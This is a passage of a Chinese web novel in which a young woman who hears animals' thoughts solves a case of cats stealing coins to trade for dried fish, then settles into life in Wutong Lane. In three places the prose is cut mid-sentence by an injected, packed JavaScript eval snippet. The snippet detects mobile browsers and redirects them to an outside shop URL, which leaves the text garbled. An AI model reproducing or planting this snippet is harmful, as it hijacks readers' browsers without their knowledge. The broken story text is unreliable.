“陈老板说,都是早上开门清点时发现的。奇怪的是,门窗都完好无损,店里除了他和一个跟了他七八年的伙计阿福,就只有他老伴儿偶尔来搭把手。陈老板私下问了一圈,都说没见生人靠近柜台。他起初疑心是阿福,可那伙计平日里老实本分,工钱也不低,犯不着为这点小钱丢饭碗。” 穆青青若有所思:“既不是外贼,也不像内贼,那钱还能自己长腿跑了不成?” “蹊跷的还在后头呢!”赵捕头身边的一个衙役压低了声音,带着几分神秘补充,“昨晚陈老板特意搬了个藤椅,守在柜台边睡的。他说自己睡得浅,稍有动静就会醒。可今早一睁眼,拉开抽屉一看,您猜怎么着?又少了十五文钱,三个铜板!” 赵捕头一拍大腿:“守着也丢?这可真是活见鬼了!” 穆青青却来了兴致,嘴角微微上扬:“有点意思。走,咱们去瞧瞧这个会‘穿墙术’的铜钱贼。” 陈记杂货铺位于西市偏东的一条老街上,铺面不大,门楣上挂着褪了色的招牌。铺子里货物堆得满满当当,从针头线脑到油盐酱醋,一应俱全。空气里混杂着干货、香料和旧木头的味道。 陈老板是个精瘦的小老头,背微驼,眼睛却还锐利。见官差来了,他连忙从柜台后绕出来,愁眉苦脸地作揖:“赵捕头,您可来了!这事儿再不弄明白,我这心里实在不踏实啊!” 穆青青趁他俩说话的时候环视店内。 柜台临街而设,后面是高高的货架,再往后是一扇小门,通往后院和住家。店铺虽小,但因地处街市,客人络绎不绝。此刻就有两个妇人在挑选彩线,伙计阿福正耐心地帮着分辨颜色。 那抽屉就在柜台下方,很普通的一个木质抽屉,挂着一把黄铜小锁。穆青青蹲下身仔细查看,锁完好无损,抽屉表面没有撬痕,边缘也没有被破坏的迹象。 “陈老板,您这抽屉平时都锁着吗?”穆青青问。 “晚上打烊后锁上,白天做生意时为了方便,就不锁了,但抽屉是关着的。”陈老板答道,“钱就放在里面,有客人付账,我就拉开取钱找零。” 穆青青站起身,观察着店铺的布局。柜台高约四尺,成人若想伸手偷钱,必须探身越过柜台,动作不可能小。而柜台前人来人往,若有此等举动,很难不被人察觉。 她转向那个叫阿福的伙计。这是个三十来岁的汉子,国字脸,皮肤黝黑,此刻正搓着手,一脸局促不安。 “阿福,这两日你可注意到什么异常?”穆青青温和地问。 阿福急得额头冒汗:“姑娘明鉴!小的在陈记干了八年,从未动过歪心思!这两日我也格外留心,但凡有客人靠近柜台,我都会多看两眼。可确实没见谁伸手进抽屉啊!” 他顿了顿,又补充道,“而且丢钱的时候,有时我在后院搬货,有时在门口招呼客人,老板也常在店里。若真有人偷钱,总会被我们其中一个看见吧?” 陈老板叹了口气:“正是这个理。所以我才觉得邪门。” 穆青青沉思片刻,忽然问:“陈老板,您这两日夜间可曾听到什么特别的声音?” 陈老板捋了捋稀疏的胡子,回忆道:“特别的声音……你这么一问,我倒想起来了。昨晚我守在柜台边,半梦半醒间,好像听见那边传来极轻的‘窸窸窣窣’声,像是什么小东西在爬。” 他指了指抽屉下方的角落,“我当时迷迷糊糊,以为是老鼠闹腾,就没在意。可老鼠怎么会开抽屉偷钱呢?抽屉虽是没锁,但是关着的呀!” 老鼠?穆青青心中一动。 她再次蹲下身,这次检查得更加仔细。抽屉与柜台底板之间有一道约半指宽的缝隙,成年人的手绝对伸不进去,但若是小巧的爪子…… 她掏出随身携带的细镊子和油纸,小心翼翼地探查抽屉下方和背后的墙壁、地面,发现墙角确实有个很小的老鼠洞。而且在抽屉底部的木纹凹陷处,她还看见了一点点深色的油渍,凑近闻了闻,有股淡淡的鱼腥味。 穆青青不动声色地起身对陈老板说:“今日先到这里。您照常做生意,我们晚间再来。” 回到县衙,穆青青脑中正思索着这个案子,脑海中那熟悉的光幕忽然自动弹了出来。光幕上浮现的“话语”,让她吃了一惊: 瓦片:【喵呜……吃得好饱……那家杂货铺的油炸小鱼干真香啊……就是偷吃有点费劲,得等那只笨狸花把风……昨晚差点被那老头发现,吓得我尾巴毛都炸了……】 穆青青猛地坐直身体。 瓦片! 是她之前在县衙后院经常看到的那只流浪猫!它还有个冤家搭档,一只胖乎乎的橘猫,叫橘点点。 这两个小家伙自从她从江州回来后就不见了踪影了,原来跑到西市去了? 杂货铺?油炸小鱼干?偷吃? 她立刻集中精神,“看”向光幕。此刻的群聊范围似乎是县衙周边与梧桐巷的混合区域。 她连忙发出信息:【瓦片?是你吗?你和橘点点最近去哪儿了?杂货铺的小鱼干是怎么回事?】 过了一会儿,瓦片的“话语”才慢悠悠传来,似乎带着吃饱喝足的慵懒: 【喵?你是谁呀?你认识我和橘点点啊?】 穆青青忍住笑意:【我能听见你说话呢~说说看,杂货铺的小鱼干怎么了?】 【喵~我和点点发现了个好地方,就在西市杂货铺后院。那儿的老太太经常晒小鱼干,香喷喷的。晚上没人时,我们就从墙角的洞钻进去。】 穆青青心中一动:【墙角的洞?】 【对啊,就在柜台底下,有个破了一角的洞,以前好像是老鼠打的。洞有点窄,点点那只胖橘得挤好久才能进去……不过为了小鱼干,值得!】 柜台底下的洞! 穆青青脑海中灵光一闪。她继续追问:【你们只偷吃小鱼干?没动别的东西?】 瓦片沉默了一会儿,才传来有些心虚的“话语”: 【唔……小鱼干挂在后院屋檐下,我们够不着。但是点点发现,柜台那个木头盒子里有亮晶晶的小圆片。以前我们看两脚兽用那个小圆片,就能换到小鱼干……】 穆青青心跳加速:【所以你们拿了铜钱?】 【喵~点点爪子小,能从抽屉缝里把钱拨拉出来。一次拿两三个,不多拿!】 瓦片理直气壮地说,【然后我们就去找巷子口那个摆摊的两脚兽。给他小圆片,他就给我们小鱼干!他可好了,每次都给我们小鱼干……】 穆青青简直哭笑不得。真相大白了!不是什么高明的窃贼,而是两只大馋猫,学着人买东西的样子,用偷来的铜钱“购买”小鱼干! 她忍住笑,继续问:【那个摆摊的两脚兽,长什么样?】 【总是笑眯眯的,有络腮胡子,摊子上挂满小鱼干,香得不得了!他知道我们要来,每次都会准备好。】 穆青青心中已有全盘计划。她安抚了瓦片几句,答应改天带小鱼干去看它们,便退出了“对话”。 穆青青将调查结果告知赵捕头,两人一合计,决定当晚就去蹲守。 夜幕降临时,两人换上便服,躲在杂货铺斜对面的一家茶楼二层。从这里可以清晰地看到杂货铺门前和巷子口的景象。 亥时三刻,街上行人渐稀。杂货铺早已打烊,门板紧闭。陈老板听从安排,今晚照旧守在店内,但不再睡在柜台边,而是躲在柜台后的货架阴影里观察。 时间一分一秒过去。子时将至,就在赵捕头快要打哈欠时,穆青青轻轻碰了碰他的胳膊。 “来了。” 只见杂货铺墙角的阴影里,探出两个毛茸茸的小脑袋。一只黑白相间,动作敏捷;一只圆滚滚的橘色,略显笨拙。正是瓦片和橘点点! 瓦片警惕地四处张望,确认安全后,率先钻进墙角一个不起眼的小洞。 那洞口被杂草半掩着,白日里根本不会有人注意。橘点点跟着往里挤,肚子卡了一下,它扭了扭身子,才勉强把整个身子塞进去。 约莫半盏茶功夫,两只猫又从洞里钻了出来。橘点点嘴里赫然叼着两枚铜钱!在月光下微微反光。 两只猫一前一后,贴着墙根的阴影,悄无声息地向巷子口溜去。 穆青青和赵捕头悄悄下楼跟上。 巷子口果然有个小摊还亮着灯,是个卖零嘴的流动摊贩。摊主是个四十来岁的汉子,留着络腮胡,正在收拾东西准备收摊。 橘点点小跑过去,将铜钱放在摊主脚边,然后蹲坐下来,仰起头,眼巴巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133598|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地望着挂在一旁的油炸小鱼干,尾巴尖轻轻摇晃。 那摊主低头一看,竟然笑了:“哟,又是你这馋猫!今天还带了朋友?” 他看了眼不远处警戒的瓦片,摇摇头,从架子上取下一条小鱼干,递给橘点点,“拿去吧,这可是最后一条了。” 橘点点开心地“喵”了一声,叼起鱼干,转身和瓦片汇合,两个小家伙飞快地消失在夜色中。 全程目睹这一幕的赵捕头目瞪口呆:“这……这猫成精了?!” 穆青青忍住笑,走上前去:“老板,生意做得挺特别啊,连猫客人都招待?” 摊主一愣,见是生人,有些警惕:“姑娘说笑了,我就是看那猫可怜,偶尔喂喂。” “用铜钱换鱼干,也是可怜它?”穆青青亮出衙门的腰牌,“这两日陈记杂货铺丢了铜钱,我们怀疑与你这‘猫客人’有关。” 摊主脸色一变,慌忙摆手:“官爷明鉴!我真不知道这钱是偷来的!那两只猫来了三四天了,第一次是那橘猫叼来一枚铜钱,眼巴巴看着鱼干。我以为是谁家养的猫,给钱买鱼干是主人教它的把戏,就给了它一条小的。后来它们每天都来,我也没多想……” “一共来了几次?收了多少钱?”赵捕头严肃地问。 “三次,一共收了……七文钱。”摊主从怀里掏出一个小布袋,倒出几枚铜钱,“都在这儿!我真的不知情啊官爷!” 穆青青看了看那些铜钱,正是普通的流通铜板。她让赵捕头记下摊主的姓名住址,没收了铜钱,警告他不得再做这种“生意”,便放他离开了。 次日一早,穆青青和赵捕头带着追回的七文钱来到陈记杂货铺。 陈老板听说偷钱的竟然是两只猫,眼睛瞪得滚圆:“猫?!这……这怎么可能?!” 穆青青让阿福挪开柜台,露出了后面墙角那个被杂物遮掩的破洞。洞口不大,但足够一只猫进出。她又指给他看油渍,并将昨夜所见详细道来。 “……所以,不是人为失窃,而是您的后院晒的小鱼干太香,引来了两只馋猫。它们发现抽屉里的铜钱可以‘买’到鱼干,就每天来‘光顾’了。” 陈老板愣了半天,突然拍腿大笑:“哎哟!我说呢!原来是我老伴晒的那些鱼干惹的祸!”他笑出了眼泪,“这两只猫崽子,倒是聪明!还知道拿钱换吃的!” 阿福也松了口气,憨厚地笑道:“原来不是贼,是大馋猫啊。老板,这下我可清白了!” 穆青青将追回的七文钱交还给陈老板:“这是从摊贩那里追回的一共七枚铜钱。我们已警告那摊贩,他不敢再收猫的‘钱’了。” 陈老板摆摆手:“罢了罢了,就当喂了野猫。不过……”他眼珠一转,有了主意,“既然它们这么爱吃我家晒的鱼干,不如……阿福,以后每天在后院放两条小的,专门喂猫!” 穆青青有些意外:“您不怪它们?” “怪什么?”陈老板笑道,“这两只猫能想到这办法,也是机灵。而且有它们在,店里老鼠都少了。就当请了两个小护院,工钱就是几条小鱼干!” 事情圆满解决。穆青青离开时,特意绕到杂货铺后院,果然看见瓦片和橘点点正蹲在墙头,眼巴巴望着屋檐下晾晒的鱼干。 她掏出准备好的小鱼干,唤了一声。两只猫耳朵一竖,犹豫了一下,还是跳下墙头,小心翼翼地走过来。 “以后不用偷钱了。”穆青青将鱼干放在地上,轻声说,“陈老板答应每天给你们供应鱼干。要乖乖的,不许再捣乱,知道吗?” 瓦片嗅了嗅鱼干,又抬头看看穆青青,那双翠绿的眼睛里似乎闪过一丝了然。它“喵”了一声,低头吃了起来。橘点点早就迫不及待,吃得胡子都抖了起来。 看着两只毛茸茸的小家伙,穆青青心中涌起一股暖意。 回到县衙,赵捕头正在和其他衙役讲述“猫盗案”,引得众人哄堂大笑。这桩奇案很快传遍了衙门,成了大家茶余饭后的谈资。 而穆青青坐在书案前,铺开纸笔,嘴角含笑。或许,下一个话本可以写一个系列,就叫《萌兽奇案录》。第一回嘛,就写“狸奴窃铜钱,巧换小鱼干”。她要好好刻画那两只机灵又贪吃的小猫,让读者在会心一笑中,感受到人与动物之间那些温馨有趣的故事。 对了,穆青青突然想起上次的那位偷豆浆喝的“狸花大盗”,不知道橘点点和它是不是交流过经验? 43. 梧桐巷 搬进梧桐巷的第五日,穆青青才算真正安顿下来。 清晨,她照例在卯时初(五点半左右)醒来。 这是从前在警队养成的生物钟,到了这大曜王朝也改不掉。窗外天色还是青灰的,巷子里很安静,只能隐隐听到些许动静。她轻手轻脚起身,怕吵醒还在西厢熟睡的小荷。 推开正房门,初冬的寒气扑面而来,带着些巷子里特有的气味:墙角青苔混着泥土的潮湿气息、昨夜谁家熬药的淡淡苦味、远处飘来的炊烟。 她深吸一口气,在院中慢慢活动筋骨。这套拉伸动作是她从前在警校学的,到了这里也没落下。须知穆青青她是不会物攻的,遇险时还得靠在警局时学得这些擒拿招式往上冲。 动作做到一半,忽然听见墙头传来极轻的“嗒”的一声。 抬眼望去,一只玳瑁猫正蹲在墙头,黄绿异色的眸子静静看着她。 玳瑁猫:【喵……这个两脚兽又在做奇怪的动作了。不过比之前那家老头儿只会晒太阳强点。】 穆青青忍不住嘴角微弯。她没出声,继续做完最后一组拉伸后才转身回屋。再出来时,手里多了个小碟,里面是昨晚特意留下的半条小鱼干。 她把碟子放在墙根背风处,退开几步。 玳瑁猫盯着小鱼干看了几息,轻盈跃下,踱步过去嗅了嗅,这才慢条斯理地吃起来,尾巴尖轻轻晃动。 玳瑁猫:【喵……还算新鲜。这个新来的,懂事。】 穆青青笑了笑,转身去厨房生火烧水。搬来前崔夫人让刘婶给备了些米面粮油,小荷昨日又去市集添了些菜,灶间虽简陋,倒也够用了。 等水开的功夫,她推开院门,想看看巷子晨间的模样。 梧桐巷是条“丁”字形小巷,她住这一进小院位于竖笔中段,门前有棵老梧桐,叶子已落了大半。此刻天色渐亮,巷子里陆续有了动静。 对门王家最先开门。 一个膀大腰圆的汉子拎着水桶出来,“哐当”一声放在门口石阶上,瓮声瓮气朝门里喊:“虎子他娘!水缸见底了,我去井台打水!” 这便是王铁匠了。 穆青青在最开始来丰州城时见过他一面,那时他因儿子虎子失踪急得眼眶通红,如今看着倒恢复了铁匠的粗犷模样。 门里探出个妇人的脸,圆脸细眼,头发梳得油光水滑,簪了根亮闪闪的铜簪子,正是王娘子。她声音脆亮:“快去快去!顺便把昨儿刘婶子借的笸箩还了!我可告诉你,那笸箩是新编的,别磕坏了!” “晓得了!”王铁匠应着,拎起空桶往巷子东头去。 王娘子这才看见站在门口的穆青青,眼睛一亮,脸上堆起笑:“哟,穆姑娘起得真早!搬来还习惯吧?缺什么短什么尽管开口,街里街坊的,别客气!” 她说话又快又密,不等穆青青回答,又接着说:“你在衙门当差辛苦,这么早就起!我家虎子前阵子那事儿,多亏衙门费心……哎,改天让他好好谢谢你!” “王婶子客气了,分内之事。”穆青青微笑应道,“往后还请多关照。” “好说好说!”王娘子笑得更欢,忽然压低声音,“穆姑娘,你一个人住带着小荷也不容易,往后有什么重活,喊我家那口子搭把手!对了,你年纪也不小了,可说亲了?婶子认识几个好后生……” 穆青青头皮一麻,正想推脱,巷子那头传来开门声。 是隔壁张家。 先出来的是个穿着半旧青衫的中年书生,身形瘦削,背略有些佝偻,手里拿着本书,边走边看,差点撞上王铁匠放在门口的水桶。 “张秀才,看着点路!”王娘子扬声。 张秀才张茂才抬起头,有些窘迫地用指尖捻了捻手中书页的角,拱拱手说:“王嫂子早。”声音文绉绉的。 他身后跟着个妇人,穿着洗得发白的藕色夹袄,头发梳得一丝不苟,手里挎着个菜篮子。是张娘子。她朝王娘子和穆青青微微颔首,算是打过招呼,便低头快步往巷口走,脚步又轻又急。 “张家嫂子这是去买菜?”王娘子显然没打算放过任何一个聊天的机会,“今儿市集有新鲜鲫鱼,熬汤最补!你家秀才读书费神,该多补补!” 张娘子脚步顿了顿,没回头,只低低应了声“晓得了”,走得更快了。 王娘子撇撇嘴,转回头对穆青青道:“张家嫂子人是不错,就是忒闷了些。张秀才嘛……读书是认真,就是考了这些年也没见个响动。啧啧,一家子过得紧巴巴的……” 她话里带着三分同情七分窥探,穆青青只微笑听着,不接话。 这时,斜对门李家的门也开了。 出来的不是李掌柜,而是个十三四岁的小伙计,打着哈欠,手里拿着扫帚开始扫门前地。扫了两下,门里传来个温和的男声:“仔细些,别扬尘。” 一个穿着藏青色绸面夹袄、约莫四十出头的男子走出来,面皮白净,留着短须,脸上带着生意人惯有的和气笑容,正是李掌柜李贵。 “王嫂子早,张秀才早。”他先朝门口几人拱手,目光落在穆青青身上,笑意深了些,“这位便是新搬来的穆姑娘吧?久仰了,你在衙门屡破奇案的事儿,咱们巷子里都传遍了。在下李贵,在街口开间小杂货铺。往后需要什么,尽管来铺子里拿,街坊价!” “李掌柜客气。”穆青青还礼。她知道“久仰”多半是客套,但自己在丰城县衙确实不算无名之辈了。 李掌柜又寒暄了两句便带着小伙计往巷口铺子去了。他走路步子稳,说话滴水不漏,确是个精明生意人。 王娘子看着李掌柜背影,又压低声音:“李掌柜人是和气,生意也做得活络。就是他家夫人……唉,常年病着,深居简出的,可怜见儿的。” 正说着,巷子最里头那扇黑漆木门“吱呀”开了条缝。 一只黑猫先探出头,警惕地左右看看,然后才轻巧跃上门槛。接着,一个头发花白、身形佝偻的老婆婆慢吞吞走出来,手里端着个破陶碗,里面似乎是猫食。 是赵阿婆。 她把碗放在墙角,几只猫不知从哪儿钻出来,围过去吃。赵阿婆也不看旁人,只蹲下身,用手轻轻摸着其中一只三花猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142040|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背脊,嘴里喃喃着什么。 王娘子见状,声音压得更低,几乎只剩气音:“瞧见没?赵阿婆……邪性着呢。养那么多猫,还老对着猫说话。巷子里孩子都不敢往她家门口凑。” 穆青青抬眼望去。赵阿婆约莫六十多岁,脸上皱纹深刻。她似乎察觉到目光,抬起头,浑浊的眼睛朝这边看了一眼。 那眼神很平静,甚至有些空洞,却让王娘子下意识闭了嘴,干笑两声:“那个……穆姑娘你先忙,我也该做早饭了!” 说罢匆匆回了院子,“砰”地关上门。 穆青青失笑,朝赵阿婆微微颔首。赵阿婆没什么反应,又低头摸猫去了。 这时,脑海中光幕轻轻闪烁: 【梧桐巷晨间(当前在线:7)】 玳瑁猫:【喵呜~老太婆的猫饭我偷吃过一次,比不上小鱼干,但勉强能吃。】 王家芦花鸡:【咯咯哒!两脚兽又要来摸蛋了!今天才不想下呢!】 张家檐下燕子:【啾啾!女主人出门时眼睛红红的,像哭过。男主人又念叨“之乎者也”了,烦。】 李家看门狗:【汪……女主人昨晚咳嗽到半夜,药罐子又熬干了。】 墙缝蛐蛐:【瞿瞿……天亮了,两脚兽开始吵了。还是夜里清静。】 灰鹦鹉:【恭喜发财~恭喜发财~】 穆青青将这些零碎信息记在心里,转身回院。水已经烧开,她沏了壶粗茶,坐在院中石凳上慢慢喝。 约莫一刻钟后,小荷揉着眼睛从西厢出来:“姑娘,您起这么早?” “习惯了。”穆青青给她也倒了杯茶,“昨晚睡得可好?” “挺好的!”小荷精神起来,“就是夜里好像听见猫叫,还有……好像有谁在哭?细细的,听得不真切。” 穆青青心中微动:“哪个方向?” 小荷想了想:“好像……是巷子那头?说不准,也可能是风声。” 两人正说着,院门被敲响了。 门外是个二十出头的年轻汉子,穿着粗布短打,手里提着个工具箱,面容憨厚,身后跟着个十六七岁的姑娘,穿着青布衣裙,手里挎着个包袱。 “请问……是穆捕头家吗?”汉子开口,带着些外地口音,“我是巷尾租住的陈木匠,这是我妹子。昨日搬东西时承蒙帮忙,家里刚安顿好,蒸了些馍,送来给街坊尝尝。” 是陈氏兄妹。 穆青青忙开门:“陈大哥太客气了,快请进。” 陈木匠叫陈实,妹妹叫陈秀儿。两人进屋放下馍,是用粗面蒸的,但蒸得暄软,还带着热气。 陈实话不多,只憨笑着;陈秀儿则低着头,声音细细的:“不是什么好东西,穆姑娘别嫌弃。” “哪里,多谢你们。”穆青青让小荷收下,又问了他们可还缺什么。 “不缺不缺,都挺好。”陈实搓着手,“就是……巷子里规矩,我们初来乍到,想跟街坊们都打个招呼。穆姑娘在县衙当差,见识多,往后还请多提点。” “互相关照,我们也才搬来没几天。” 44. 网友来信 送走陈氏兄妹,小荷看着那篮馍,小声道:“姑娘,这陈大哥人看着实诚,陈姐姐也挺好相处的样子。” “嗯。”穆青青点头,“都是讨生活的外乡人,不容易。” 早饭后,穆青青去县衙点卯。小荷收拾完碗筷,挎上菜篮去市集。 梧桐巷走到头左转,便是小集市。这时辰正是热闹的时候,卖菜的、卖肉的、卖早点的摊子挤挤挨挨,吆喝声此起彼伏。 小荷先去了菜摊。正挑着青菜,旁边传来熟悉的声音: “这萝卜怎么卖?哟,这缨子都蔫了,便宜点!” 是王娘子。她手里挎着个更大的篮子,正跟菜贩讨价还价,唾沫星子都快喷到菜上了。 菜贩苦着脸:“王嫂子,这已经是低价了……” “哎哟,街里街坊的,你这人怎么这么死心眼!”王娘子眼珠子一转,忽然看见小荷,“哟,小荷也来买菜?来来,帮婶子看看,这萝卜值不值三文?” 小荷有些无措,只好点头:“还、还行……” 王娘子立刻得意:“瞧,人家县衙里出来的都说还行!两文半,我拿两个!” 菜贩败下阵来,苦哈哈地收了钱。 王娘子心满意足,凑到小荷身边:“小荷啊,你们家姑娘在衙门具体是管什么案子的?我听说她连江州那么大的案子都破了?真是了不得!她这般能耐,可说亲了没有?我跟你说,我家有个远房侄子……” 小荷牢记穆青青的嘱咐,含糊道:“姑娘就是按上头的吩咐办事……她、她忙公务,还没想这些呢。” “哎哟,姑娘家哪能不着急!”王娘子眼睛更亮,“我那侄子……” 小荷头皮发麻,赶紧借口还要买肉,匆匆跑了。 肉摊前,她碰见了张娘子。 张娘子正盯着摊上那一小条五花肉,手指无意识地捏着衣角,看了好一会儿,才低声问:“这肉……多少钱?” “十五文。”屠户道。 张娘子咬了咬嘴唇,从怀里掏出个旧钱袋,数了又数,最后只买了五文钱的猪油渣。那是炼油剩下的碎渣,最便宜。 “张嫂子,买油渣啊?”旁边一个妇人搭话,“熬白菜时放点,是香。” 张娘子低声应了,低着头快步离开,背影有些仓皇。 小荷看着,心里有点不是滋味。她买了半斤肉,又去杂货铺买盐。 李掌柜的铺子就在集市口,店面不大,但货品齐全。李掌柜不在,小伙计看着铺子。小荷买盐时,听见里间隐约传来咳嗽声,还有药罐子“咕嘟咕嘟”的熬煮声。 “是李夫人吗?”小荷小声问。 小伙计点头:“夫人老毛病了,入冬就咳得厉害。” 正说着,李掌柜从后门进来,手里提着个药包,见小荷在,和气笑道:“小荷姑娘来买东西?缺什么尽管拿,记穆姑娘账上就行。” “不用不用,钱够的。”小荷付了钱,临走时看了眼里间门帘。帘子厚重,遮得严实,只透出浓浓的药味。 回家路上,小荷又在巷口遇见赵阿婆。 赵阿婆坐在自家门槛上,脚边围着三四只猫。她手里拿着根细竹枝,正在编什么东西,手指枯瘦但灵巧。见小荷经过,她抬起头,目光在小荷脸上停了停。 小荷被她看得有些发毛,小声打招呼:“阿婆好。” 赵阿婆没说话,只点了点头,又低下头继续编。她编的是个小笼子,不知道做什么用的。 小荷快步走回家,心还怦怦跳。这赵阿婆,确实有点……怪。 傍晚穆青青下衙回来,小荷一边做饭一边把这些见闻说了。 “姑娘,我觉得这巷子里的人……都挺有故事的。”小荷炒着菜,小声道,“王婶子嘴巴碎但热心肠;张嫂子好像过得挺难;李掌柜和气,可他夫人病得怪可怜的;赵阿婆神神叨叨;陈大哥陈姐姐倒是实在人。” 穆青青坐在灶边添柴,闻言笑了笑:“市井人家,谁没点故事?只要不触犯律法,不危害旁人,各人有各人的活法。” 饭快做好时,院门又被敲响了。 是陈秀儿。她端着一碗刚腌好的咸菜:“穆姑娘,我哥说你们刚搬来,肯定还没腌菜,这咸菜是我们老家做法,你们尝尝。” 小荷接过,连声道谢。 陈秀儿却没立刻走,犹豫了一下,低声问:“小荷妹妹,我想问问……这巷子里,有没有哪家需要浆洗缝补的活计?我手脚还算利索,工钱便宜些也行。” 小荷一愣:“陈姐姐想接活?” “嗯。”陈秀儿低下头,“我哥做木匠活,收入不稳。我想着……能贴补一点是一点。” 小荷心软,想了想:“对了,李掌柜家夫人病着,或许需要人搭把手浆洗?至于张嫂子家……她家日子是紧,但张嫂子手巧,说不定知道哪里能接到好活计?你去问问她也好,街坊间消息总是灵通的。” 陈秀儿眼睛一亮:“多谢妹妹!” 送走陈秀儿,小荷把咸菜端上桌,叹了口气:“姑娘,陈姐姐他们也不容易。” 穆青青夹了一筷子咸菜,味道确实爽脆。她慢慢嚼着,心里盘算:梧桐巷这七户人家,看似平静,实则家家有本经。王家的喧闹、张家的清贫、李家的隐忧、赵家的孤僻、陈家的漂泊……还有自己这个带着秘密的“外来者”。 这小小的巷子,倒像是个微缩的世情画卷。 夜里,穆青青在灯下写新的话本大纲。今日在衙门,她听赵捕头说了桩邻县的巧案:有个骗子冒充风水先生,利用户主家的旧怨和贪念,设局骗钱。案子不复杂,但骗术设计得精巧,很适合写成故事。 她正写着,脑海中光幕忽然闪了闪: 【梧桐巷夜话(当前在线:5)】 李家看门狗:【……女主人又咳醒了,男主人叹气的声音好重,本汪根本睡不着。】 王家芦花鸡:【咯咯……今天下了两个蛋,都被拿走了。一个也没留给我孵。】 张家檐下燕子:【啾啾!这家半夜里总有人念叨不休,亮光总也不灭。】 墙缝蛐蛐:【瞿瞿!那只三花猫又去扒我家墙缝了!讨厌!】 灰鹦鹉:【说个话儿……咱说个话儿……】 穆青青笔尖顿了顿。这些碎片信息拼凑起来,勾勒出一幅幅深夜图景。 李掌柜的在夫人病榻前叹息,张秀才熬夜读书压力很大,王家母鸡一天能下两个蛋,有只三花喵喜欢夜游…… 还有那句“说个话儿”,这只灰鹦鹉也不知道是谁家的,总是跟人学嘴,它主人说话再不注意的话,总觉哪天会爆个大雷。 她摇摇头,继续写故事。窗外月色清冷,梧桐枝干的影子投在窗纸上,随风轻轻晃动。 日子就这么一天天过去。穆青青逐渐习惯了梧桐巷的节奏:清晨王铁匠打水的哐当声,上午王娘子串门的叽喳声,午后张秀才的读书声,傍晚李掌柜关铺板的声响,夜里偶尔传来的咳嗽或低语…… 她也慢慢融入了巷子生活。有时帮王铁匠看看官府通告,有时给张秀才带几本衙门里无关紧要的旧书册,有时去李掌柜铺子买些零碎,经过赵阿婆门口时会点头致意,陈家兄妹有难处时也会搭把手。 小动物们的“聊天群”成了她了解巷子的特殊窗口。那些天真又片段的发言,常常让她会心一笑: 玳瑁猫:【喵~王家的两脚兽今天又吵架了,为了一个破瓦罐。人类真无聊,还不如晒太阳实在。】 王家芦花鸡:【咯咯哒!小主人偷偷塞给我一把米!比老太婆大方多了!】 李家看门:【汪汪……男主人带回来一包新药,味道闻着更苦了。】 都是市井小民最朴素的悲欢。 转眼入了深冬,第一场雪落了下来。 这日穆青青下衙回来,巷口茶馆的说书先生正唾沫横飞地讲着新鲜故事: “……话说那京城六扇门,近来破了一桩奇案!城东富商刘老爷家三代单传,好不容易得了三个大孙子,家业兴旺。谁知不出三年,孙子接连夭折,刘老爷自己也暴病而亡!人人都说是‘福薄承不住’,你猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145573|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么着?” 茶客们伸长了脖子。 说书先生醒木一拍:“那三个孩子,根本就不是刘家血脉!是那被主母害得不能生育的妾室,联合自己娘家人,用‘狸猫换太子’的计谋从外面抱来的孩子!真孙子早就被卖到千里之外去了!若非六扇门的寇晟寇大人明察秋毫,这桩冤案就要石沉大海喽!” 茶客们哗然,议论纷纷: “真是人心隔肚皮!” “寇大人又是他!真是神了!” “这案子写进话本里肯定精彩……” 穆青青站在茶馆外,雪花落在肩头。寇晟信中提到的案子,竟然已经传到了丰城县的说书摊上。看来他破案后并未遮掩,反而有意让这类警世故事流传开来。 她低头笑了笑,转身往巷子里走。刚到门口,就见小荷兴奋地跑出来:“姑娘!有您的信!从京城来的,驿卒刚送到!” 京城来的信? 穆青青接过,信封是普通的官驿用笺,但封口处盖了个小小的铜印,正是寇晟给她的那枚六扇门客卿令的印痕。 她拆开信,里面只有薄薄两页纸。字迹挺拔有力,是寇晟亲笔。 信很简短,先问候她在丰城是否安好,又提了几句京中近况。末尾写道: “前日所结‘狸猫换太子’一案,其中曲折细节虽不便多言,然人心之深、谋算之远,实可引以为鉴。此类事端,多起于家门不睦、执念血脉亲缘。穆姑娘若有心撰写话本,不妨由‘家族’二字入手。血缘真伪、亲情虚实,其中利益与伦常之纠葛,虽不似刀光血影,却往往更撼动人心。” “另有一事:年关将近,京中屡现借‘祈福’之名行骗之案,皆是以百姓盼安求福之心为饵。手法虽旧,受骗者仍众。丰城若见类似情形,如兜售灵符、聚办高价法会之类,亦请多加留意,谨防众人受惑。” 穆青青读至此处,心中了然。寇晟这是特意提醒她,年关前后正是各种骗局滋生的时节。他不仅赠予她话本的灵感,更附上了一份实在的关切。 